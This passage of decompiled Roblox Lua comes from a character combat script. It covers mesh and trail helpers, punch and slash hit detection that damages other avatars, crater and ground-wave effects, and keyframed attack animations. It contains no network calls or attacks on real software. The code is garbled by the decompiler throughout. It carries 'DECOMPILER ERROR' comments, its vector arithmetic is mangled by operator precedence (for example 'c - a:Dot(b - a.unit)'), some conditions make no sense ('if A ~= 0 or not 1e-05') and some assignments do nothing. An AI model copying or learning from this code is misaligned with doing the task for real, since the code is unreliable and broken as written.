if type(num) == "string" then
msh = Instance.new("SpecialMesh", par)
msh.MeshId = num
end
end
end
end
end
msh.Scale = Vector3.new(x, y, z)
return msh
end
local CFrameFromTopBack = function(at, top, back)
local right = top:Cross(back)
return CFrame.new(at.x, at.y, at.z, right.x, top.x, back.x, right.y, top.y, back.y, right.z, top.z, back.z)
end
Triangle = function(a, b, c)
local edg1 = c - a:Dot(b - a.unit)
local edg2 = a - b:Dot(c - b.unit)
local edg3 = b - c:Dot(a - c.unit)
if edg1 <= b - a.magnitude and edg1 >= 0 then
a = a
else
-- DECOMPILER ERROR at PC35: Overwrote pending register: R1 in 'AssignReg'
if edg2 <= c - b.magnitude and edg2 >= 0 then
a = b
else
-- DECOMPILER ERROR at PC46: Overwrote pending register: R2 in 'AssignReg'
-- DECOMPILER ERROR at PC47: Overwrote pending register: R1 in 'AssignReg'
if edg3 <= a - c.magnitude and edg3 >= 0 then
a = c
else
print("unreachable")
end
end
end
local len1 = c - a:Dot(b - a.unit)
local len2 = b - a.magnitude - len1
local width = a + b - a.unit * len1 - c.magnitude
local maincf = CFrameFromTopBack(a, b - a:Cross(c - b).unit, -b - a.unit)
local list = {}
if len1 > 0.01 then
local w1 = wPart(0, 0, 0, "Lime green", 0.5, false, true, char)
do
local sz = Vector3.new(0.2, width, len1)
w1.Size = sz
local sp = Mesh(w1, 2, 0, 0, 0)
sp.MeshType = "Wedge"
sp.Scale = Vector3.new(0, 1, 1) * sz / w1.Size
w1:BreakJoints()
w1.Anchored = true
w1.Transparency = 0.7
Spawn(function()
for i = 0, 1, 0.1 do
fat.Event:wait()
w1.Transparency = w1.Transparency + 0.03
end
end
)
w1.CFrame = maincf * CFrame.Angles(math.pi, 0, math.pi / 2) * CFrame.new(0, width / 2, len1 / 2)
table.insert(list, w1)
end
end
do
if len2 > 0.01 then
local w2 = wPart(0, 0, 0, "Lime green", 0.5, false, true, char)
local sz = Vector3.new(0.2, width, len2)
w2.Size = sz
local sp = Mesh(w2, 2, 0, 0, 0)
sp.MeshType = "Wedge"
sp.Scale = Vector3.new(0, 1, 1) * sz / w2.Size
w2:BreakJoints()
w2.Anchored = true
w2.Transparency = 0.7
Spawn(function()
for i = 0, 1, 0.1 do
fat.Event:wait()
w2.Transparency = w2.Transparency + 0.03
end
end
)
w2.CFrame = maincf * CFrame.Angles(math.pi, math.pi, -math.pi / 2) * CFrame.new(0, width / 2, -len1 - len2 / 2)
table.insert(list, w2)
end
do
return unpack(list)
end
end
end
trail = function(p, t, h)
Spawn(function()
local blcf = p.CFrame
local scfr = blcf
for i = 1, t do
local blcf = p.CFrame
if scfr and p.Position - scfr.p.magnitude > 0.1 then
local a, b = Triangle(scfr * CFrame.new(0, h / 2, 0).p, scfr * CFrame.new(0, -h / 2, 0).p, blcf * CFrame.new(0, h / 2, 0).p)
if a then
game.Debris:AddItem(a, 1)
end
if b then
game.Debris:AddItem(b, 1)
end
local a, b = Triangle(blcf * CFrame.new(0, h / 2, 0).p, blcf * CFrame.new(0, -h / 2, 0).p, scfr * CFrame.new(0, -h / 2, 0).p)
if a then
game.Debris:AddItem(a, 1)
end
if b then
game.Debris:AddItem(b, 1)
end
scfr = blcf
else
do
do
if not scfr then
scfr = blcf
end
fat.Event:wait()
-- DECOMPILER ERROR at PC120: LeaveBlock: unexpected jumping out DO_STMT
-- DECOMPILER ERROR at PC120: LeaveBlock: unexpected jumping out IF_ELSE_STMT
-- DECOMPILER ERROR at PC120: LeaveBlock: unexpected jumping out IF_STMT
end
end
end
end
scfr = nil
end
)
end
rarm.Touched:connect(function(ht)
hit = ht.Parent
if ht and hit:IsA("Model") and hit:FindFirstChild("Humanoid") and hit.Name ~= p.Name and Debounces.RPunch == true and Debounces.RPunched == false then
Debounces.RPunched = true
hit:FindFirstChild("Humanoid"):TakeDamage(math.random(5, 8))
if Debounces.ks == true then
z = Instance.new("Sound", hed)
z.SoundId = "rbxassetid://169380525"
z.Pitch = ptz[math.random(1, #ptz)]
z.Volume = 1
z:Play()
end
wait(0.4)
Debounces.RPunched = false
end
if ht and hit:IsA("Hat") and hit.Parent.Name ~= p.Name and hit.Parent:FindFirstChild("Humanoid") and Debounces.RPunch == true and Debounces.RPunched == false then
Debounces.RPunched = true
hit.Parent:FindFirstChild("Humanoid"):TakeDamage(math.random(5, 8))
if Debounces.ks == true then
z = Instance.new("Sound", hed)
z.SoundId = "rbxassetid://169380525"
z.Pitch = ptz[math.random(1, #ptz)]
z.Volume = 1
z:Play()
end
wait(0.4)
Debounces.RPunched = false
end
end
)
larm.Touched:connect(function(ht)
hit = ht.Parent
if ht and hit:IsA("Model") and hit:FindFirstChild("Humanoid") and hit.Name ~= p.Name and Debounces.LPunch == true and Debounces.LPunched == false then
Debounces.LPunched = true
hit:FindFirstChild("Humanoid").Health = 100
hit:FindFirstChild("Torso").Velocity = hit:FindFirstChild("Torso").CFrame.lookVector * -160
if Debounces.ks2 == true then
z = Instance.new("Sound", hed)
z.SoundId = "rbxassetid://169380525"
z.Pitch = ptz[math.random(1, #ptz)]
z.Volume = 1
z:Play()
end
wait(0.4)
Debounces.LPunched = false
end
if ht and hit:IsA("Hat") and hit.Parent.Name ~= p.Name and hit.Parent:FindFirstChild("Humanoid") and Debounces.LPunch == true and Debounces.LPunched == false then
Debounces.LPunched = true
hit.Parent:FindFirstChild("Humanoid").Health = 100
if Debounces.ks2 == true then
z = Instance.new("Sound", hed)
z.SoundId = "rbxassetid://169380525"
z.Pitch = ptz[math.random(1, #ptz)]
z.Volume = 1
z:Play()
end
wait(0.4)
Debounces.LPunched = false
end
end
)
local acos = math.acos
local sqrt = math.sqrt
local Vec3 = Vector3.new
local fromAxisAngle = CFrame.fromAxisAngle
local toAxisAngle = function(CFr)
local X, Y, Z, R00, R01, R02, R10, R11, R12, R20, R21, R22 = CFr:components()
local Angle = math.acos((R00 + R11 + R22 - 1) / 2)
local A = R21 - R12 ^ 2 + R02 - R20 ^ 2 + R10 - R01 ^ 2
if A ~= 0 or not 1e-05 then
local B = R21 - R12 ^ 2 + R02 - R20 ^ 2 + R10 - R01 ^ 2
if B ~= 0 or not 1e-05 then
local C = R21 - R12 ^ 2 + R02 - R20 ^ 2 + R10 - R01 ^ 2
if C ~= 0 or not 1e-05 then
local x = (R21 - R12) / sqrt(A)
local y = (R02 - R20) / sqrt(B)
local z = (R10 - R01) / sqrt(C)
return Vec3(x, y, z), Angle
end
end
end
end
ApplyTrig = function(Num, Func)
local Min, Max = Func(0), Func(1)
local i = Func(Num)
return (i - Min) / (Max - Min)
end
LerpCFrame = function(CFrame1, CFrame2, Num)
local Vec, Ang = toAxisAngle(CFrame1:inverse() * CFrame2)
return CFrame1 * fromAxisAngle(Vec, Ang * Num) + (CFrame2.p - CFrame1.p) * Num
end
Crater = function(Torso, Radius)
Spawn(function()
local Ray = Ray.new(Torso.Position, Vector3.new(0, -1, 0) * 10)
local Ignore = {}
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Character ~= nil then
Ignore[#Ignore + 1] = v.Character
end
end
local Hit, Pos, SurfaceNorm = Workspace:FindPartOnRayWithIgnoreList(Ray, Ignore)
if Hit == nil then
return
end
local Parts = {}
for i = 1, 360, 10 do
local P = Instance.new("Part", Torso.Parent)
P.Anchored = true
P.FormFactor = "Custom"
P.BrickColor = Hit.BrickColor
P.Material = Hit.Material
P.TopSurface = "Smooth"
P.BottomSurface = "Smooth"
P.Size = Vector3.new(5, 10, 10) * (math.random(80, 100) / 100)
P.CFrame = (CFrame.new(Pos, Pos + SurfaceNorm) * CFrame.Angles(math.rad(90), 0, 0) - Vector3.new(0, 7, 0)) * CFrame.Angles(math.rad(math.random(-50, 50)), math.rad(math.random(-50, 50)), math.rad(math.random(-50, 50)))
Parts[#Parts + 1] = {P, P.CFrame, (CFrame.new(Pos, Pos + SurfaceNorm) * CFrame.Angles(math.rad(90), 0, 0) - Vector3.new(0, 1, 0)) * CFrame.Angles(0, math.rad(i), 0) * CFrame.new(0, 0, -Radius) * CFrame.Angles(math.rad(math.random(-50, -20)), math.rad(math.random(-15, 15)), math.rad(math.random(-15, 15))), P.Size}
if math.random(0, 5) == 0 then
local P = Instance.new("Part", Torso.Parent)
P.Anchored = true
P.FormFactor = "Custom"
P.BrickColor = Hit.BrickColor
P.Material = Hit.Material
P.TopSurface = "Smooth"
P.BottomSurface = "Smooth"
P.Size = Vector3.new(2, 2, 2) * (math.random(80, 100) / 100)
P.CFrame = (CFrame.new(Pos, Pos + SurfaceNorm) * CFrame.Angles(math.rad(90), 0, 0) - Vector3.new(0, 2.5, 0)) * CFrame.Angles(math.rad(math.random(-50, 50)), math.rad(math.random(-50, 50)), math.rad(math.random(-50, 50)))
Parts[#Parts + 1] = {P, P.CFrame, CFrame.new(Pos, Pos + SurfaceNorm) * CFrame.Angles(math.rad(90), 0, 0) * CFrame.Angles(0, math.rad(i), 0) * CFrame.new(0, 0, -Radius - 8) * CFrame.Angles(math.rad(math.random(-90, 90)), math.rad(math.random(-90, 90)), math.rad(math.random(-90, 90))), P.Size}
end
end
for i = 0, 1, 0.05 do
for i2,v in pairs(Parts) do
v[1].CFrame = LerpCFrame(v[2], v[3], ApplyTrig(i, math.cos))
end
wait(0.02)
end
for i,v in pairs(Parts) do
if v[1].Size.X > 2.1 then
v[1].CFrame = v[1].CFrame + Vector3.new(0, 2, 0)
end
v[1].Anchored = false
end
for i = 0, 1, 0.05 do
for i2,v in pairs(Parts) do
v[1].Transparency = i
if i == 1 then
v[1]:Destroy()
else
if i >= 0.25 then
v[1].CanCollide = false
end
end
end
wait(0.02)
end
Parts = nil
end
)
end
function Dmg()
local partofdeath = hitb
local function CreateRegion3FromLocAndSize(Position, Size)
local SizeOffset = Size/2
local Point1 = Position - SizeOffset
local Point2 = Position + SizeOffset
return Region3.new(Point1, Point2)
end
local reg = CreateRegion3FromLocAndSize(partofdeath.Position, partofdeath.Size)
for i, v in pairs(game.Workspace:FindPartsInRegion3WithIgnoreList(reg, char:GetChildren(), 100)) do
Spawn(function()
if Debounces.Slashing == true and Debounces.Slashed == false then
Debounces.Slashed = true
ypcall(function()
local humanoid = v.Parent:FindFirstChild("Humanoid") or v.Parent.Parent:FindFirstChild("Humanoid")
GroundWave(v.Parent.Torso.CFrame)
humanoid.Health = humanoid.Health
end)
wait(.4)
Debounces.Slashed = false
end
end)
end
end
pts = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
ptz = {0.7, 0.8, 0.9, 1, 1.1}
part1.Transparency = 0
attackone = function()
for i = 1, 10 do
corw.C0 = Lerp(corw.C0, CFrame.new(-0.5, -1.5, -0.5) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(150)), 0.4)
corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, -0.5) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-24)), 0.4)
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.3, 0.5, -0.4) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(10)), 0.5)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(80), math.rad(0)), 0.5)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(-24), math.rad(0), math.rad(-20)), 0.3)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(20), math.rad(0)), 0.3)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(-30), 0), 0.7)
hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.7)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.7)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(-30), math.rad(0)), 0.7)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -1, 0.2) * CFrame.Angles(math.rad(-11), math.rad(0), math.rad(-14)), 0.5)
lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.7, -1, -0.3) * CFrame.Angles(math.rad(20), math.rad(-30), math.rad(16)), 0.5)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
if Debounces.on == false then
break
end
fat.Event:wait()
end
end
attacktwo = function()
Debounces.Slashing = true
z = Instance.new("Sound", hed)
z.SoundId = "rbxassetid://227194094"
z.Pitch = ptz[math.random(1, #ptz)]
z.Volume = 0.4
wait(0.01)
z:Play()
for i = 1, 14 do
Dmg()
corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(28)), 0.4)
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.5, 0.4) * CFrame.Angles(math.rad(70), math.rad(0), math.rad(100)), 0.4)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(-90), math.rad(0)), 0.4)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(36), math.rad(0), math.rad(-20)), 0.3)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(20), math.rad(0)), 0.3)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.36)
hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(10), math.rad(-40), math.rad(0)), 0.36)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, -1) * CFrame.Angles(math.rad(0), math.rad(-40), 0), 0.4)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.72, -1, -0.3) * CFrame.Angles(math.rad(14), math.rad(50), math.rad(-15)), 0.5)
lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1, 0.2) * CFrame.Angles(math.rad(-12), math.rad(-30), math.rad(16)), 0.5)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
if Debounces.on == false then
break
end
fat.Event:wait()
end
do
Debounces.Slashing = false
end
end
attackthree = function()
for i = 1, 10 do
corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-24)), 0.4)
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.5, 0.4) * CFrame.Angles(math.rad(70), math.rad(0), math.rad(100)), 0.4)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(48), math.rad(0), math.rad(-20)), 0.4)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(20), math.rad(0)), 0.4)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.5)
hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-10), math.rad(-50), math.rad(0)), 0.5)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, -1.3) * CFrame.Angles(math.rad(0), math.rad(-50), 0), 0.5)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.72, -1, -0.4) * CFrame.Angles(math.rad(-10), math.rad(50), math.rad(-10)), 0.5)
lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.6, -1, 0) * CFrame.Angles(math.rad(-12), math.rad(-30), math.rad(16)), 0.5)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
if Debounces.on == false then
break
end
fat.Event:wait()
end
end
mouse.KeyDown:connect(function(key)
if key == "e" then
if Debounces.CanAttack == true then
Debounces.CanAttack = false
Debounces.on = true
Debounces.NoIdl = true
for i = 1, 50 do
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5,0.55,0)*CFrame.Angles(math.rad(160),math.rad(-6),math.rad(30)), 0.4)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5,0.55,0)*CFrame.Angles(math.rad(10),math.rad(30),math.rad(-15)), 0.2)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,1.5,-.2)*CFrame.Angles(math.rad(0),math.rad(30),0), 0.2)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(-10), math.rad(0)), 0.3)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(20), 0, math.rad(-14)), 0.2)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(-16), 0, math.rad(8)), 0.2)
if Debounces.on == false then break end
rs:wait(2.6)
end
Spawn(function()
local Parts = {}
for Y = -5,5 do
local P = Instance.new("Part",char)
P.Anchored = true
P.FormFactor = "Custom"
P.CanCollide = false
P.Size = Vector3.new(2,4,2)
P.TopSurface = "SmoothNoOutlines"
P.BottomSurface = "SmoothNoOutlines"
P.Material = "Neon"
P.BrickColor = BrickColor.new("Really black")
P.Name = tostring(Y)
local i = (Y+5)/(100)
i = 1-math.cos(math.pi*i-(math.pi/2))
P.CFrame = char.HumanoidRootPart.CFrame*CFrame.new(0,Y,-2+(i*1.5))*CFrame.Angles(math.rad(Y*5),0,0)
--[[P.Touched:connect(function(ht)
local hit = ht.Parent
if hit:FindFirstChild("Humanoid") then
hit.Humanoid:TakeDamage(math.random(20,50))
end
end)]]--
s = Instance.new("Sound",P)
s.SoundId = "rbxassetid://228343271"
s.Volume = 1
s.Pitch = 0.9
s:Play()
sa = Instance.new("Sound",P)
sa.SoundId = "rbxassetid://419447292"
sa.Volume = 1
sa.Pitch = 1
sa:Play()
P.Touched:connect(function(ht)
hit = ht.Parent
if ht and hit:IsA("Model") then
if hit:FindFirstChild("Humanoid") then
if hit.Name ~= p.Name then
--[[if Debounces.Slashing == true and Debounces.Slashed == false then
Debounces.Slashed = true]]--
hit:FindFirstChild("Humanoid").Health = 100
hit:FindFirstChild("Humanoid").PlatformStand = true
wait(1)
--Debounces.Slashed = false
--end
end
end
elseif ht and hit:IsA("Hat") then
if hit.Parent.Name ~= p.Name then
if hit.Parent:FindFirstChild("Humanoid") then
--[[if Debounces.Slashing == true and Debounces.Slashed == false then
Debounces.Slashed = true]]--
hit.Parent:FindFirstChild("Humanoid").Health = 100
hit:FindFirstChild("Humanoid").PlatformStand = true
wait(1)
--Debounces.Slashed = false
--end
end
end
end
end)
Parts[#Parts+1] = P
end
local BREAKIT = false
local CParts = {}
local Rocks = {}
local LastPos = nil
for i = 1,70 do
for i2,v in pairs(Parts) do
v.CFrame = v.CFrame*CFrame.new(0,0,-4)
local cf = v.CFrame
v.Size = v.Size+Vector3.new(0.4,0.35,0)
v.CFrame = cf
v.Transparency = v.Transparency+0.02
if v.Transparency >= 0.975 then BREAKIT = true end
if v.Name == "0" then
local Ignore = {}
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Character ~= nil then
Ignore[#Ignore+1] = v.Character
end
end
local ray = Ray.new(v.Position+Vector3.new(0,20,0),Vector3.new(0,-200,0))
local Hit,Pos,SurfaceNorm = Workspace:FindPartOnRayWithIgnoreList(ray,Ignore)
if Hit ~= nil then
if #Rocks == 0 then
for i = 1,5 do
local P = Instance.new("Part",char)
Rocks[#Rocks+1] = P
P.Anchored = true
P.FormFactor = "Custom"
P.BrickColor = Hit.BrickColor
P.Material = Hit.Material
P.TopSurface = "Smooth"
P.BottomSurface = "Smooth"
P.Size = Vector3.new(2,2,2)*(math.random(500,900)/100)
end
end
for i,P in pairs(Rocks) do
P.CFrame = ((CFrame.new(Pos)*(v.CFrame-v.Position))*CFrame.new(math.random(-math.ceil(v.Size.X/2),math.ceil(v.Size.X/2)),0,-math.random(5,8))-Vector3.new(0,0.25,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(20,50)))
end
local P = Instance.new("Part",char)
CParts[#CParts+1] = {P,tick()}
P.Anchored = true
P.FormFactor = "Custom"
P.BrickColor = Hit.BrickColor
P.Material = Hit.Material
P.TopSurface = "Smooth"
P.BottomSurface = "Smooth"
P.Size = Vector3.new(2,2,2)*(math.random(100,300)/100)
Pos = CFrame.new(Pos)*(v.CFrame-v.Position)*CFrame.new(v.Size.X/2,0,0)
Pos = Pos.p
P.CFrame = ((CFrame.new(Pos,Pos+SurfaceNorm)*CFrame.Angles(math.rad(90),0,0))-Vector3.new(0,0.25,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(20,50)))
local P = P:Clone()
CParts[#CParts+1] = {P,tick()}
P.Parent = char
Pos = CFrame.new(Pos)*(v.CFrame-v.Position)*CFrame.new(-v.Size.X,0,0)
Pos = Pos.p
P.CFrame = ((CFrame.new(Pos,Pos+SurfaceNorm)*CFrame.Angles(math.rad(90),0,0))-Vector3.new(0,0.25,0))*CFrame.Angles(math.rad(math.random(-50,50)),math.rad(math.random(-50,50)),math.rad(math.random(-50,-20)))
if LastPos ~= nil then
local P = P:Clone()
CParts[#CParts+1] = {P,tick()}
P.Parent = char
P.BrickColor = BrickColor.new("Royal purple")
P.Material = "Neon"
Pos = CFrame.new(Pos)*(v.CFrame-v.Position)*CFrame.new(v.Size.X/2,0,0)
Pos = Pos.p
local CFr = (CFrame.new(Pos)*(v.CFrame-v.Position))-Vector3.new(0,0.4,0)
P.Size = Vector3.new(v.Size.X-0.25,1,(CFr.p-LastPos.p).Magnitude+0.25)
--P.Velocity = Vector3.new(0,-1000,0)
P.CFrame = CFrame.new(CFr.p,LastPos.p)*CFrame.new(0,0,-((CFr.p-LastPos.p).Magnitude+0.25)/2)
end
LastPos = (CFrame.new(Pos)*(v.CFrame-v.Position))-Vector3.new(0,0.4,0)
end
end
end
if BREAKIT then break end
wait(0.002)
end
for i,v in pairs(Rocks) do
CParts[#CParts+1] = {v,tick()}
end
for i,v in pairs(Parts) do
v:Destroy()
end
Parts = nil
while true do
local t = tick()
local p = nil
for i,v in pairs(CParts) do
if t-v[2] > 4 then
v[1].Transparency = v[1].Transparency+0.05
if v[1].Transparency >= 1 then
v[1]:Destroy()
CParts[i] = nil
end
end
p = v
end
if p == nil then break end
wait(0.002)
end
for i,v in pairs(CParts) do
v:Destroy()
end
CParts = {}
end)
for i = 1, 20 do
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5,0.55,0)*CFrame.Angles(math.rad(-40),math.rad(0),math.rad(30)), 0.2)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5,0.55,0)*CFrame.Angles(math.rad(10),math.rad(0),math.rad(20)), 0.2)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,1.5,-.2)*CFrame.Angles(math.rad(0),math.rad(0),0), 0.2)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(-10), math.rad(0)), 0.4)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(10), 0, math.rad(-8)), 0.2)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(-6), 0, math.rad(8)), 0.2)
if Debounces.on == false then break end
rs:wait(2)
end
if Debounces.CanAttack == false then
Debounces.CanAttack = true
Debounces.on = false
Debounces.NoIdl = false
end
end
end
end)
attackfour = function()
Debounces.Slashing = true
z = Instance.new("Sound", hed)
z.SoundId = "rbxassetid://227194094"
z.Pitch = ptz[math.random(1, #ptz)]
z.Volume = 0.4
wait(0.01)
z:Play()
for i = 1, 14 do
Dmg()
corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(28)), 0.4)
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.2, 0.5, -0.4) * CFrame.Angles(math.rad(70), math.rad(0), math.rad(-60)), 0.4)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(60), math.rad(0)), 0.4)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(-20), math.rad(10), math.rad(-10)), 0.3)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(20), math.rad(0)), 0.3)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.36)
hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(10), math.rad(50), math.rad(0)), 0.36)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, -1.6) * CFrame.Angles(math.rad(0), math.rad(50), 0), 0.36)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.36)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.6, -1, 0.2) * CFrame.Angles(math.rad(-10), math.rad(-20), math.rad(-16)), 0.5)
lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.72, -1, -0.4) * CFrame.Angles(math.rad(14), math.rad(-50), math.rad(14)), 0.5)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
if Debounces.on == false then
break
end
fat.Event:wait()
end
do
Debounces.Slashing = false
end
end
attackfive = function()
z = Instance.new("Sound", hed)
z.SoundId = "rbxassetid://"
z.Pitch = 1
z.Volume = 0.8
wait(0.01)
z:Play()
for i = 1, 18 do
corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.5)
corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-50), math.rad(0), math.rad(0)), 0.5)
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.2, 0.7, 0) * CFrame.Angles(math.rad(140), math.rad(0), math.rad(-40)), 0.4)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.2, 0.7, 0) * CFrame.Angles(math.rad(140), math.rad(0), math.rad(40)), 0.4)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.4, 0.15) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.5)
